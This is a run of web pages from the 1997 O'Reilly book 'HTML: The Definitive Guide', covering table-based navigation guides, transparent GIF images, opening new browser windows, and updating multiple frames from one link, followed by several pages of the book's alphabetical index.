The following HTML segment, for example, uses a two-column table to set a hyperlink guide apart from the document content. The technique also nicely aligns the guide's graphical and textual elements, thereby giving the reader a clear and distinct option to jump to another section of the document, as shown in Figure 15.7:

The role of the kumquats in earthly and cosmic affairs has been well documented.
Nearly from the moment that humankind began recording history -- even as
oral tradition -- historians have reported the extraordinary and
omnipresent influences of kumquats.
<p>
<table align=right>
  <tr>
   <td><a href="#arts"><img src="pics/d_arrow.gif" border=0></a>
   <td><a href="#arts"><h6>Kumquat influence<br>in the Arts</h6></a>
  </tr>
</table>

Early in the history of man, the kumquat played a vital role in the
formation of religious beliefs.  Central to annual harvest
celebrations was the day upon which kumquats ripened.  Likened to the
sun (<i>sol</i>), the golden fruit was taken
(<i>stisus</i>) from the trees on the day the sun stood
highest in the sky.  We carry this day forward even today, as our
summer <i>solstice</i>.

Figure 15.7: Tables let you embed signposts in your content flow

[Graphic: Figure 15-7]

Previous | Home | Next
Custom Bullets | Book Index | Transparent Images
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 15] 15.5 Transparent Images

HTML: The Definitive Guide

Previous Chapter 15
Tips, Tricks, and Hacks 		Next

15.5 Transparent Images

One of the most popular tricks you'll find on everyone's HTML pages is the transparent image. They let the background show through, giving the remainder of the image the appearance of floating on the page. The effect is clever and is the only way to put nonrectangular images in your HTML document displays. [the section called "Understanding Image Formats"]

Creating a transparent image is easy, once you understand how the process works and which images are candidates for transparency.

Colors, Maps, and Indexes

Images represent their colors in one of two ways: directly, or through a colormap.

In the direct method, each pixel in the image contains the actual RGB values that define the color of that pixel. Such images are often called true color images, since the number of distinct colors in the image is generally quite large. It is often the case that very few pixels in a true color image share the same color, with many pixels having subtly different variations of the same color. The most popular image format using this representation method is the JPEG format.

Colormap-based images keep all the different colors used in the image in a table known as the colormap. Each pixel in the image contains an index into the table of that pixel's color. In general, the table is fairly small, usually less than 256 colors. This means that many pixels share the same color, and that whole groups of pixels can have their color changed by simply altering the appropriate entry in the colormap. The most common image format using colormaps is the GIF format.

Image transparency is only possible with images containing a colormap, and is currently defined only for images using the GIF89a format. In this format, one entry in the colormap is tagged as the transparent color. All pixels containing the index of that entry will be made transparent when the image is displayed.

For example, consider an image containing eight colors. The colormap is eight entries long, with indices numbered zero through seven. Each pixel in the image contains a value from zero to seven, corresponding to its color in the colormap. If you indicate that the second entry in the color map, whose index is one, will be transparent, all pixels with the value one will be made transparent when the image is rendered.

Creating a Potentially Transparent Image

The cookbook way to create a transparent image is easy: take a conventional image, determine the color to be made transparent, and convert the image to GIF89a format, marking that color as transparent.

The most difficult part for most people is finding a conventional image that is suitable for conversion. To make the background of an image transparent, the entire background must be one color. Unfortunately, many images do not meet this simple criteria. Scanned images, for example, usually have backgrounds that are a mix of several slightly different shades of one color. Since only one color can be made transparent, the result is a mottled background, part transparent and part opaque.

Many image-editing tools use a process known as dithering to create certain colors in an image. Dithered colors are not pure, but are a mix of several other colors. This mixture is not amenable to transparency. You'll often find dithering used on systems with small colormaps, like conventional 16-color VGA displays on some PCs.

Finally, some images have a pure background color, but that color is also used in parts of the image you want to keep opaque. Since every pixel having the appropriate colormap index is made transparent, these portions of the image become transparent as well.

In all cases, the problem can be solved by loading the image into an image editor, turning off dithering, and painting the background areas, usually by hand, to be a single color not used anywhere else in the image. Make sure you save the result as a GIF image, so that the colormap and pixel indexes will be retained.

Converting the Image

Once you have an acceptable image, and you've determined the color you wish to make transparent, you'll need to convert the image to GIF89a format.

For PC and UNIX users, a public-domain utility called giftrans does the job nicely. To convert an image, use this command:

giftrans -t index original.gif > new.gif

Replace index with the numeric index of the color to be made transparent. Original.gif and new.gif are the original nontransparent image and the resulting transparent image.

Apple Macintosh users have the advantage, though: they can use a single tool named Transparency to accomplish the conversion. It was written by Aaron Giles at Cornell University, who generously makes it available at no charge over the Internet. Check Yahoo or your favorite Archie resource to locate it on a server near you.

These tools can do far more than simply convert transparent images. For a complete discussion of transparency and image conversion, including links to the actual tools, visit:

http://members.aol.com/htmlguru/transparent_images.html

Previous | Home | Next
Tricks with Tables | Book Index | Creating New Windows
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 15] 15.6 Creating New Windows

HTML: The Definitive Guide

Previous Chapter 15
Tips, Tricks, and Hacks 		Next

15.6 Creating New Windows

For the vast majority of links in your documents, you'll want the newly loaded document displayed in the same window, replacing the previous one. That makes sense, since your users usually follow a sequential path through your collection.

But sometimes it makes sense to open a document in a new window, so that the new document and the old document are both directly accessible on the user's screen. If the new document is related to the original, for instance, it makes sense to have both in view. More commonly, the new document starts the user down a new web of documents, and you want them to see and remember where they came from.

Regardless of the reason, it is easy to open a new browser window from your HTML document. All you need to do is add the target attribute in the appropriate hyperlink (<a>) tag.

We normally use the target attribute to load a document into a specific frame that you've named in a frameset. It also serves to create a new window by one of two methods:

  • Reference a new name. If you haven't previously defined a name and then use that new name as the value for the target attribute of a hyperlink, Netscape and Internet Explorer automatically create a new window with that name and load the referenced document into that window. This is the preferred way to create new windows, since you can subsequently use the name to load other documents into the same window. Using this technique, you can control which document gets loaded where.

  • Create an unnamed window. Some browsers like Netscape and Internet Explorer support a special target named _blank[2] that lets you create a new window. The _blank window has limited use, though, because it is nameless--you cannot direct any other documents into that window. (New documents loaded via hyperlinks selected by the user within the window get displayed in that same window, of course.)

    [2] Some browsers also accept the name _new. If you can't get _blank to work with your browser, try _new.

Previous | Home | Next
Transparent Images | Book Index | Multiple Frames in One Link
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 15] 15.7 Multiple Frames in One Link

HTML: The Definitive Guide

Previous Chapter 15
Tips, Tricks, and Hacks 		Next

15.7 Multiple Frames in One Link

Loading a new document from a hyperlink is a snap, even if you put the new document into an alternative frame or window from its hyperlink parent. Occassionally, though, you'll want to load documents into two frames when the user clicks just one link. With a bit of trickery you can load two or more frames at one time, provided they are arranged a certain way in the browser window.

Consider this frame layout:

<frameset rows=2>
  <frameset cols=2>
    <frame name=A>
    <frame name=B>
  </frameset>
  <frameset>
    <frame name=C>
    <frame name=D>
  </frameset>
</frameset>

If someone clicks a link in frame A, the only thing you can do is update one of the four frames. Suppose you wanted to update frames B and D at the same time?

The trick is to replace frames B and D with a single frame, like this:

<frameset cols=2>
  <frameset rows=2>
    <frame name=A>
    <frame name=C>
  </frameset>
  <frame name=BD>
</frameset>

Aha! Now you have a single target in which to load a single document, frame BD. The document you load should contain the original frames B and D in one column, like this:

<frameset cols=2>
  <frame name=B>
  <frame name=D>
</frameset>

The two frames will fill frame BD. When you update frame BD, both frames will be replaced, giving the appearance of two frames being updated at one time.

The drawback to this is that the frames must be adjacent and able to be grouped into a single document. For most pages, though, this solution works fairly well.

We've only scratched the surface of HTML tips and tricks here. Our advice: keep hacking!

Previous | Home | Next
Creating New Windows | Book Index | HTML Grammar
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Symbols and Numbers

& (ampersand) for entities
Special text characters
Character Entities
JavaScript Entities
, (comma) in styles : Multiple Selectors
= (equal sign) for tag attributes : The Syntax of a Tag
< (less-than sign) : Special text characters
<!-- --> tags
Comments
Comments
% (percent sign) for character encoding : Writing a URL
# (pound sign)
for entities : Special text characters
for name anchors
Hyperlink Names and Navigation
Linking Within a Document
in URLs : The http document fragment
? (question mark) in URLs
Handling reserved and unsafe characters
The http search parameter
" (quotation mark)
for attribute values : The Syntax of a Tag
in URLs : Handling reserved and unsafe characters
/ (slash)
in ending tags : Start and End Tags
in URLs
Handling reserved and unsafe characters
The http path
~ (tilde) in URLs : The http path

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

A

<a> tags
Anchors
Embedded Versus Referenced Content
The <a> Tag
The urn attribute
above attribute (<layer>)
The above, below, and z-index attributes
absbottom alignment : The align attribute
absmiddle alignment : The align attribute
absolute
font size
The size attribute
URLs
URLs
Absolute and Relative URLs
accept attribute (<input>) : File selection fields
action attribute
<form> : The action attribute
<isindex> : The action attribute
action buttons
Action Buttons
Multiple buttons in a single form
ActiveX technology : Writing Applets
<address> tags
The <address> Tag
addresses
Addresses
The <address> Tag
IP addresses : The http server
Advanced Research Projects Agency (ARPA) : In the Beginning
align attribute
<applet> : The align attribute
<col> : The <col> tag
<div> : The align attribute
<embed> : The align, border, height, width, h...
<h#> : The align attribute
<hr> : The align attribute
<iframe> : The align attribute
<img>
Inline Images
The align attribute
<marquee> : The align attribute
<object> : The align, border, height, width, h...
<p> : The align attribute
<spacer> : Creating blocks of space
<th> and <td> : The align and valign attributes
<tr>
The align attribute
alignment
centering text
The <center> Tag
columns (see column layout)
forms and : Good Form, Old Chap
frames : The align attribute
in headers : The align attribute
images
The align attribute
Centering an image
layers
The left and top attributes
The top and left attributes
paragraphs : The align attribute
tables : Missing Features
caption : The align and valign attributes
cell contents : The align and valign attributes
rows
The align attribute
The valign attribute
text : The align attribute
text style properties for
The text-align property
The vertical-align property
whitespace : Creating blocks of space
alignment sections : The align attribute
alink attribute (<body>) : The link, vlink, and alink attributes
alt attribute
<applet>
The alt attribute
Supporting incompatible browsers
<area> : The alt attribute
<img> : The alt attribute
alternate behavior (<marquee>) : The behavior, direction, and loop a...
ampersand (&) for entities
Special text characters
Character Entities
JavaScript Entities
anchors (see <a>; tags; hyperlinks)
animation
frame-by-frame (GIF) : Interlacing, transparency, and animation
of text
Animated Text
The style and class attributes
anonymous FTP : The ftp user and password
appearance of text (see text)
<applet> tags
The <applet> Tag
Supporting incompatible browsers
applets
Applets
The type and valuetype attributes
application/x-www-form-urlencoded encoding : The application/x-www-form-urlencod...
applications, executable
Applets
The type and valuetype attributes
archive attribute (<applet>) : The archive attribute
<area> tag
The ismap and usemap attributes
The <area> Tag
The title attribute
ARPA (Advanced Research Projects Agency) : In the Beginning
audio
Background Audio
The loop attribute
Referencing Audio, Video, and Images
<bgsound> tag
The <bgsound> Tag
The loop attribute
authoring (see writing HTML documents)
automation, document
Supporting Document Automation
The n attribute

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

B

<b> tags : The <b> Tag
background (see background attribute) : Problems with background images
audio
Background Audio
The loop attribute
color (see bgcolor attribute)
images (see background attribute)
layers (see layers)
performance considerations of : Problems with background images
style properties for
Color and Background Properties
The background property
(see also transparency) : Creating a Potentially Transparent Image
background attribute
<body>
The background attribute
Mixing and matching body attributes
<layer> : The background and bgcolor attributes
<base> tag
The <base> Header Element
Using <base>
The <base> Default Target
base URLs
URLs
The <base> Header Element
Using <base>
<basefont> tags : The <basefont> Tag
baseline alignment : The align attribute
behavior attribute (<marquee>) : The behavior, direction, and loop a...
below attribute (<layer>)
The above, below, and z-index attributes
bgcolor attribute
<body>
The bgcolor attribute
Mixing and matching body attributes
<layer> : The background and bgcolor attributes
<marquee> : The bgcolor attribute
<th> and <td>background attribute
<th> and <td> : The bgcolor and background attributes
<tr> : The bgcolor attribute
bgproperties attribute (<body>) : The bgproperties attribute
<bgsound> tag
The <bgsound> Tag
The loop attribute
bibliographic citations : The <cite> Tag
<big> tags : The <big> Tag
binary files : The Flow of Information
blank lines (see paragraphs)
_blank target : Special Targets
<blink> tags
The <blink> Tag
Trivial or Abusive?
block items : The display property
block quotes
Block Quotes
The <blockquote> Tag
<blockquote> tags : The <blockquote> Tag
blocks of whitespace : Creating blocks of space
body content : The <body> Tag
<body> tags
Structure of an HTML Document
The <body> Tag
bug with : Beyond Extensions: Exploiting Bugs
color extensions for
Extensions to the <body>...
Mixing and matching body attributes
boilerplates for HTML documents : Boilerplate HTML Documents
boldface text : The <b> Tag
font-weight property : The font-weight property
border attribute
<embed> : The align, border, height, width, h...
<img>
The border attribute
Removing the image border
<object> : The align, border, height, width, h...
bordercolor attribute
<th> and <td> : The bordercolor, bordercolorlight, ...
<tr> : The bordercolor, bordercolorlight, ...
bordercolordark attribute
<th> and <td> : The bordercolor, bordercolorlight, ...
<tr> : The bordercolor, bordercolorlight, ...
bordercolorlight attribute
<th> and <td> : The bordercolor, bordercolorlight, ...
<tr> : The bordercolor, bordercolorlight, ...
borders
frame
Controlling frame borders and spacing
The frameborder and bordercolor att...
images
The border attribute
Removing the image border
The href attribute
style properties for
The border properties
Borders in shorthand
table
The hspace and vspace attributes
The bordercolor, bordercolorlight, ...
The bordercolor, bordercolorlight, ...
bottom alignment (see align attribute)
boundary string : The Multipart/Mixed-Media Type
box style properties
Box Properties
The width property
<br> tag
Paragraphs and line breaks
The <br> Tag
The clear attribute
Mimicking the <spacer>...
browsers, web (see Mosaic browser)
Clients, Servers, and Browsers
Yielding to the Browser
character entities and : Character Entities
client-side image maps and : Handling Other Browsers
executable applications
Applets
The type and valuetype attributes
forms and
Browser Constraints
Handling limited displays
ignoring HTML tags : Ignored or Redundant Tags
images and : The <img> Tag
incompatibilities with : Handling Style-Less Browsers
applets : Supporting incompatible browsers
embedded objects : The <noembed> Tag
frames : The <noframes> Tag
JavaScript scripts : The <noscript> Tag
tables : When tables aren't implemented
Internet Explorer (see Internet Explorer)
JavaScript for (see JavaScript language)
Mosaic (see Mosaic browser)
Netscape Navigator (see Netscape Navigator)
obtaining : Browser software
text-only
Clients, Servers, and Browsers
The alt attribute
buffer space (see whitespace)
bugs
in HTML extensions : Beyond Extensions: Exploiting Bugs
<img> tag height/width attributes : Problems with height and width
multiple <body> tags : Beyond Extensions: Exploiting Bugs
bulleted lists (see unordered lists)
bullets, custom : Custom Bullets
buttons
form action buttons
Action Buttons
Multiple buttons in a single form
mouse (see event handlers, JavaScript)
radio buttons : Radio Buttons

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

C

capitalization : The text-transform property
<caption> tags : The <caption> Tag
carriage returns (see paragraphs)
Cascading Style Sheets
Style Sheets and JavaScript
Cascading Style Sheets
Style Precedence
Applying Styles to Documents
The pros and cons of external styles
quick reference
Cascading Style Sheet Properties Qu...
rectangular box model for
The CSS formatting model
style properties
Style Properties
The white-space property
style syntax
Style Syntax
Class inheritance
tagless styles (<span>) : Tag-Less Styles: The <span>e;...
case sensitivity
The Syntax of a Tag
The http path
center attribute (<img>) : Centering an image
<center> tags
The <center> Tag
centering (see alignment, text)
characters
entities for
Character Entities
Special text characters
Character Entities
Special Character Encoding
Handling reserved and unsafe characters
reserved/unsafe in URLs : Handling reserved and unsafe characters
charset attribute (<meta>) : The charset attribute
checkboxes : Checkboxes
circular image map areas : The coords attribute
<cite> tags : The <cite> Tag
class attribute
The style and class Attributes
The style and class Attributes
<a> : The style and class attributes
<body> : The style and class attributes
<caption> : The style and class attributes
<dd> : The style and class attributes
<dir> : The style and class attributes
<div> : The style and class attributes
<dl> : The style and class attributes
<dt> : The style and class attributes
<form> : The style and class attributes
<h#> : The style and class attributes
<hr> : The style and class attributes
<input> : The style and class Attributes
<layer> : The style and class attributes
<li> : The style and class attributes
<marquee> : The style and class attributes
<menu> : The style and class attributes
<multicol> : The style and class attributes
<ol> : The style and class attributes
<option> : The style and class attributes
<p> : The style and class attributes
<pre>
The style and class attributes
The style and class attributes
The style and class attributes
<select> : The style and class attributes
<textarea> : The style and class Attributes
<th> and <td> : The style and class attributes
<tr> : The style and class attributes
<ul> : The style and class attributes
classes, style
Style Classes
Class inheritance
Defining style classes
classid attribute (<object>) : The classid attribute
classification properties
Classification Properties
The white-space property
clear atttribute (<br>) : The clear attribute
clear images (see transparency)
clear property : The clear property
clickable image maps
Image Maps
The ismap and usemap attributes
Mouse-Sensitive Images
Effective Use of Mouse-Sensitive Images
client-pull documents
Client-Pull Documents
Performance Considerations
client-side image maps
Image Maps
The ismap and usemap attributes
Client-Side Image Maps
clients : Clients, Servers, and Browsers
clip attribute (<layer>) : The clip attribute
code attribute (<applet>) : The code attribute
<code> tags : The <code> Tag
codebase attribute
<applet> : The codebase attribute
<object>URLs (uniform resource locators) (see codebase attribute)
codebase attribute (see codebase attribute)
codetype attribute (<object>) : The codetype attribute
<col> tag
The <colgroup> tag
The <col> tag
<colgroup> tags
The <colgroup> tag
color
true color : Colors, Maps, and Indexes
color attribute
<font> : The color attribute
<hr> : The color attribute
colors
Color Names and Values
The Standard Color Map
Document Colors and Background Images
And then again
background (see background attribute)
<body> tag extensions
Extensions to the <body>
Mixing and matching body attributes
border : The border-color property
colormaps : Colors, Maps, and Indexes
dithered : Creating a Potentially Transparent Image
frames : The frameborder and bordercolor att...
graphics file formats and : GIF
hexadecimal values for : Color Values
horizontal rules : The color attribute
layer : The background and bgcolor attributes
performance considerations
Extending a Warning
And then again
standard color map : The Standard Color Map
style properties and
Color property values
Color and Background Properties
The color property
table
The bordercolor, bordercolorlight, ...
The bgcolor attribute
The bgcolor and background attributes
text
The color attribute
The text attribute
of hyperlinks : The link, vlink, and alink attributes
marquee : The bgcolor attribute
transparency : Interlacing, transparency, and animation
cols attribute
<col> : The rows and cols attributes
<multicol> : The cols attribute
<textarea> : The rows and cols attributes
colspan attribute (<td> and <th>) : The colspan attribute
column layout
Multicolumn Pages
Straddle heads
frames : The rows and cols attributes
multiline text form areas : The rows and cols attributes
table column groups
Defining Column Groups
Using column groups
tables : The colspan attribute
text
Multicolumn Layout
Effective Multicolumn Layouts
comma (,) in styles : Multiple Selectors
comments
Comments
Comments
<comment> tags
Ignored or Redundant Tags
Comments
in <style> tags : Style Comments
compact attribute
<dir> : The <dir> Tag
<dl> : More compact definition lists
<menu> : The <menu> Tag
<ol> : Compact ordered lists
<ul> : Compact unordered lists
compatibility (see incompatibilities with browsers)
content attribute (<meta>)
The content attribute
Refreshing with a different document
content types
Referencing Audio, Video, and Images
The type attribute
application/x-www-form-urlencoded : The application/x-www-form-urlencod...
file-selection fields and : File selection fields
multipart/form-data : The multipart/form-data encoding
multipart/mixed : The Multipart/Mixed-Media Type
multipart/x-mixed-replace : Multipart Mixed-Replace-Media Type
text/css : Document-Level Style Sheets
text/plain : The text/plain encoding
content-based style tags
Content-based text styles
Document Content
Comments
Content-Based Styles
Combining Content-Based Styles
contextual( ) : Using contextual styles
contextual selectors
Contextual Selectors
contextual styles : Using contextual styles
controls attribute (<img>) : The controls attribute
coords attribute (<area>) : The coords attribute
CSS (see Cascading Style Sheets)
custom image buttons : Custom image buttons
customizing
bullets : Custom Bullets
cycling documents : Cycling among documents

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

D

data attribute (<object>) : The data attribute
<dd> tag : The <dd> Tag
declare attribute (<object>) : The declare attribute
definition lists
Unordered, Ordered, and Definition Lists
Definition Lists
The style and class attributes
delay (see performance)
document refresh : The Refresh Header Contents
loading (see performance)
marquee movement : The scrollamount and scrolldelay at...
<dfn> tags : The <dfn> Tag
<dir> tags
The <dir> Tag
The style and class attributes
direction attribute (<marquee>) : The behavior, direction, and loop a...
directory lists
Directory Lists
The style and class attributes
disc bullets : The type attribute
display property : The display property
dithering : Creating a Potentially Transparent Image
<div> tags
Divisions and Paragraphs
The style and class attributes
<dl> tags
Unordered, Ordered, and Definition Lists
The <dl> Tag
The style and class attributes
document automation
Supporting Document Automation
The n attribute
document-level styles
Document-Level Style Sheets
The pros and cons of document-level...
External, document-level, and inline JSS
documentation
HTML tag quick reference
HTML Tag Quick Reference
<meta> tag for
The <meta> Header Element
The charset attribute
documents
client-pull
Client-Pull Documents
Performance Considerations
embedding : Embedding Other Document Types
HTML (see HTML documents)
as layers : The src attribute
server-push
Server-Push Documents
Server-push example application for...
domains
Talking the Internet Talk
URLs
double quotation mark (see quotation mark)
downloading delay (see performance)
<dt> tags
Unordered, Ordered, and Definition Lists
The <dt> Tag
DTD for HTML
HTML Grammar
The HTML 3.2 DTD
HTML Document Elements
dynamic documents
Dynamic Documents
Server-push example application for...
dynsrc attribute (<img>) : The dynsrc attribute

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

E

electronic mail, mailto URL for
The mailto URL
Using mailto to collect form data (...
<em> tags : The <em> Tag
<embed> tags
Alternative Audio Support
The <embed> tag
The units attribute
embedded guides : Embedded Guides
embedded objects
Embedded Versus Referenced Content
Embedding Other Document Types
Embedded Content
The type attribute
<embed> tags
The <embed> tag
The units attribute
<object> tags
The <object> Tag
The type attribute
emphasis, tags for
<b> : The <b> Tag
<blink> : The <blink> Tag
<dfn> : The <dfn> Tag
<em> : The <em> Tag
<i> : The <i> Tag
<strong> : The <strong> Tag
encoding (see special characters)
application/x-www-form-urlencoded : The application/x-www-form-urlencod...
characters (see special characters)
file-selection fields and : File selection fields
multipart/form-data : The multipart/form-data encoding
multipart/mixed : The Multipart/Mixed-Media Type
multipart/x-mixed-replace : Multipart Mixed-Replace-Media Type
text/css : Document-Level Style Sheets
text/plain : The text/plain encoding
enctype attribute (see forms, input elements)
<form>type attribute (see forms, input elements)
<input> (see forms, input elements)
<input>, file-selection fields and : File selection fields
ending tags
Start and End Tags
Starting and Ending Tags
Tags Without Ends
entities
Character Entities
Special text characters
Character Entities
Special Character Encoding
Handling reserved and unsafe characters
entities, JavaScript : JavaScript Entities
equal sign (=) for tag attributes : The Syntax of a Tag
event handlers, JavaScript
JavaScript Event Handlers
<a> tag and : The onClick, onMouseOver, and OnMou...
<area> tag and : The onMouseOver and OnMouseOut attr...
<form> tag and : The onsubmit and onreset attributes
frames and : Frames and JavaScript
<img> tag and : The name, onAbort, onError, and onL...
<input> tag and : Form <input> Event H...
<select> tag with : Form <select> event ...
<textarea> tags and : Form <textarea> Even...
executable applications
Applets
The type and valuetype attributes
extensions, HTML
HTML Standards and Extensions
Nonstandard Extensions
Beyond Extensions: Exploiting Bugs
external style sheets
External Style Sheets
Limitations of Current Browsers
The pros and cons of external styles
External, document-level, and inline JSS

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

F

face attribute (<font>) : The face attribute
family, font : The font-family property
File Transfer Protocol (see FTP)
files (see HTML documents)
file URL : The file URL
file-selection form fields
File selection fields
HTML (see HTML documents)
flashing text : The <blink> Tag
float property : The float property
flood-filling images : Resizing and flood-filling images
fonts (see text size)
Expanded Font Handling
The face attribute
<basefont> tags : The <basefont> Tag
color (see colors)
font size (see text size)
<font> tags
The <font> Tag
The face attribute
style properties
Font Properties
The font property
footers
rules in : Using Rules in Headers and Footers
table : The <tfoot> tag
format (see page layout; style sheets)
<dt> tag for : Formatting text with <dt>
encoding (see encoding)
form layout : Good Form, Old Chap
HTML documents (see page layout; style sheets)
image
Understanding Image Formats
JPEG
JPEG or GIF?
list items
Changing the Style and Sequence of ...
The value attribute
forms
Forms
Forms
Using mailto to collect form data (...
effective use of
Creating Effective Forms
Good Form, Old Chap
<form> tags
Forms
The <form> Tag
Using mailto to collect form data (...
improving layout of
Better Forms Layout
Building forms with nested tables
input elements
Form Input Elements
Form <input> Event H...
mailto URL with : Using mailto to collect form data (...
multiline text areas
Multiline Text Areas
Form <textarea> Even...
multiple-choice elements
Multiple Choice Elements
The style and class attributes
with nested tables : Building forms with nested tables
physical layout of : Good Form, Old Chap
programming for
Passing parameters explicitly
Forms Programming
Handling POST Forms
fragment identifiers
Hyperlink Names and Navigation
The http document fragment
Linking Within a Document
frame-by-frame animation : Interlacing, transparency, and animation
frameborder attribute
<frame>bordercolor attribute
<frame> : The frameborder and bordercolor att...
<frameset> : Controlling frame borders and spacing
frames
Frames
Frames
The frameborder and bordercolor att...
alignment : The align attribute
borders
Controlling frame borders and spacing
The frameborder and bordercolor att...
colors and : The frameborder and bordercolor att...
<frame> tags
Frames
The <frame> Tag
The frameborder and bordercolor att...
<frameset> tags
Frames
The <html> Tag
The <body> Tag
The <frameset> Tag
Nesting <frameset> Tags
inline (<iframe> tags)
Inline Frames
Using Inline Frames
<noframes> tag : The <noframes> Tag
opening multiple at one time : Multiple Frames in One Link
scrolling and : The scrolling attribute
as targets
Named Frame or Window Targets
Traditional link behavior
framespacing attribute (<frameset>) : Controlling frame borders and spacing
FTP (File Transfer Protocol)
ftp URL : The ftp URL
obtaining browsers via : Browser software
fully qualified domain names : Talking the Internet Talk

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

G

generic style classes : Generic classes
GET method
The method attribute
Handling GET Forms
Using unnamed parameters with GET a...
GIF (Graphics Interchange Format)
GIF
Interlacing, transparency, and animation
JPEG or GIF?
GIF animation : Interlacing, transparency, and animation
GIF89a
Colors, Maps, and Indexes
Converting the Image
giftrans utility : Converting the Image
gopher URL : The gopher URL
graphics (see horizontal rules)
color (see colors)
converting to GIF89a : Converting the Image
formats
Understanding Image Formats
JPEG
JPEG or GIF?
rules (see horizontal rules)
transparent (see transparency)
Graphics Interchange Format (see GIF)
gutter attribute (<multicol>) : The gutter attribute

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1997 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

H

<h#> tags
Headings
Heading Tags
Adding Images to Headings
<head> tags
Structure of an HTML Document
The <head> Tag
Related Header Tags
headers
rules in : Using Rules in Headers and Footers
table : The <thead> tag
vertical spacers with : Creating vertical space
headings
Headings
Headings
Adding Images to Headings
images in : Adding Images to Headings
straddle heads : Straddle heads
table side heads
Side Heads
When tables aren't implemented
text size and : Using Headings for Smaller Text
height attribute
<applet>width attribute
<applet> : The height and width attributes
<embed> : The align, border, height, width, h...
<iframe> : The height and width attributes
<img> : The height and width attributes
<img>width attribute
<img> : Problems with height and width
<marquee> : The height and width attributes
<object> : The align, border, height, width, h...
<spacer> : Creating blocks of space
<tr> : The height attribute
height property : The height property
hexadecimal color values : Color Values
hidden attribute (<embed>) : The hidden attribute
hidden form fields : Hidden Fields
hide visibility : The visibility attribute
history
Internet : In the Beginning
World Wide Web : HTML and the World Wide Web
home pages
The Flow of Information
Hyperlink Names and Navigation
The http path
horizontal
alignment (see alignment)
margins
The hspace and vspace attributes
The hspace and vspace attributes
rules
Horizontal rules
Horizontal Rules
Using Rules in Headers and Footers
whitespace
Creating horizontal space
<hr> tag
Horizontal rules
The <hr> Tag
Combining rule attributes
href attribute
<a>
The href attribute
<area> : The href attribute
<base> : The href attribute
<link> : The href attribute
hspace attribute
<applet>vspace attribute
<applet> : The hspace and vspace attributes
<embed> : The align, border, height, width, h...
<img> : The hspace and vspace attributes
<marquee> : The hspace and vspace attributes
<object> : The align, border, height, width, h...
HTML (Hypertext Markup Language)
HTML: What It Is
Yielding to the Browser
CSS (see Cascading Style Sheets)
Document Type Definition
HTML Grammar
The HTML 3.2 DTD
HTML Document Elements
documents in (see HTML documents)
extensions to
HTML Standards and Extensions
Nonstandard Extensions
Beyond Extensions: Exploiting Bugs
grammar of
HTML Grammar
The Grammar
quick reference
HTML Tag Quick Reference
tags (see HTML tags)
text editors for
Word processor or HTML editor?
Writing Tools
version 3.2
The HTML 3.2 DTD
Is HTML 3.2 Really a Big Deal?
HTML Standards and Extensions
HTML attributes (see HTML tags)
HTML documents (see also browsers, web)
boilerplates for : Boilerplate HTML Documents
colors in (see colors)
designing for audience : Design for Your Audience
document automation
Supporting Document Automation
The n attribute
document-level styles
Document-Level Style Sheets
The pros and cons of document-level...
dynamic
Dynamic Documents
Server-push example application for...
embedded objects
Embedded Content
The type attribute
forms (see forms)
frames in (see frames)
headings in (see headings)
home pages
The Flow of Information
Hyperlink Names and Navigation
The http path
images in (see images)
linking (see hyperlinks)
multicolumn pages
Multicolumn Pages
Straddle heads
page layout of
Content Versus Appearance
HTML and Text
relationships between
Establishing Document Relationships
How browsers might use <link...
searchable
Searchable Documents
Creating Searchable Documents
Server dependencies
sectioning
Divisions and Paragraphs
Allowed paragraph usage
Using Rules to Divide Your Document
structure of
HTML Skeleton
Multimedia
Anatomy of an HTML Document
Structure of an HTML Document
The Document Header
The <body> Tag
styles for
Applying Styles to Documents
The pros and cons of external styles
tables in (see tables)
titles of
HTML Skeleton
The <title> Tag
What's in a title?
